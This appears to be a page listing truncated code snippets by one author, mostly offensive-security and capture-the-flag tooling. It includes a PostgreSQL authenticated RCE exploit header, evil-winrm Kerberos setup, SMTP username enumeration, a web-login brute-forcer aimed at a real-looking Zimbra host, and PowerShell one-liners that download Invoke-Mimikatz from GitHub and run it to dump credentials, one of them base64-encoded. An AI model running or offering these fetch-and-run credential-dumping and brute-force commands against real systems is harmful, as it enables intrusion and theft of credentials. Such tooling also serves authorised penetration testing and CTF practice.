opabravo

# Exploit fixed by: bravosec
# - Added argument for database name
# - Fix `function triggeroffsecexeccmd() does not exist` by adding check for function existence

# Exploit Title: PostgreSQL 9.6.1 - Remote Code Execution (RCE) (Authenticated)
# Date: 2023-02-01
# Exploit Author: Paulo Trindade (@paulotrindadec), Bruno Stabelini (@Bruno Stabelini), Diego Farias (@fulcrum) and Weslley Shaimon
# Github: https://github.com/paulotrindadec/CVE-2019-9193
# Version: PostgreSQL 9.6.1 on x86_64-pc-linux-gnu
# Tested on: Red Hat Enterprise Linux Server 7.9

opabravo

# Logs to extract from server
$logArray = @('Application','HardwareEvents','Security','System','Windows PowerShell', 'Setup')

# Grabs the server name to append to the log file extraction
$servername = $env:computername

# Provide the path with ending "\" to store the log file extraction.
$destinationpath = "C:\temp\event_logs\"
$destination_smb = "\\<SMB_SERVER>\<SHARE_NAME>\"

opabravo

"""
This script can easily configure /etc/krb5.conf for evil-winrm, by providing a domain fqdn and domain controller name
So that evil-winrm can be used with kerberos authentication

Evil-winrm Example:

```bash
export KRB5CCNAME=Administrator.ccache
evil-winrm -i forest.htb.local -r htb.local
```

opabravo

*NOTE - These pull from public GitHub Repos that are not under my control. Make sure you trust the content (or better yet, make your own fork) prior to using!*

#mimikatz [local]
IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1"); Invoke-Mimikatz -Command privilege::debug; Invoke-Mimikatz -DumpCreds;

#encoded-mimikatz [local]
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AQgBDAC0AUwBFAEMAVQBSAEkAVABZAC8ARQBtAHAAaQByAGUALwBtAGEAcwB0AGUAcgAvAGUAbQBwAGkAcgBlAC8AcwBlAHIAdgBlAHIALwBkAGEAdABhAC8AbQBvAGQAdQBsAGUAXwBzAG8AdQByAGMAZQAvAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAvAEkAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6AC4AcABzADEAIgApADsAIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0AQwBvAG0AbQBhAG4AZAAgAHAAcgBpAHYAaQBsAGUAZwBl

opabravo

{
 "cells": [
  {
   "attachments": {},
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Intro\n",
    "\n",
    "This is a script to scrape user ratings from Yahoo! Movies."

opabravo

from pwn import *
import re


def adjust_operators(question: str) -> str:
    """Adjust the question to to make Addition and multiplication have the REVERSE order of operation"""
    question_adjusted = []
    during_plus_op = False
    for unit in question.split():
        if unit == "*":

opabravo

"""
Fast and neat brute force solution for Hack The Box challenge : phonebook
"""
import requests
import string
from concurrent.futures import ThreadPoolExecutor


class Phonebook:
    """Phonebook class"""

opabravo

import smtplib


users_fp = "/usr/share/seclists/Usernames/top-usernames-shortlist.txt"

with open(users_fp, "r") as f:
    for user in f:
        email = f"{user.strip()}@mail.example.org"
        try:
            smtp = smtplib.SMTP("mail.example.org", 25)

opabravo

from concurrent.futures import ThreadPoolExecutor
import requests
requests.packages.urllib3.disable_warnings()


class Bruter:
    def __init__(self):
        self.url = "https://zimbras.mooo.com/"
        self.headers = {
            'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',

opabravo

import sys
import os
import shutil
import zipfile
import requests


URL = "https://code.visualstudio.com/sha/download?build=stable&os=win32-x64-archive"
ZIP_FILE_NAME = "vscode.zip"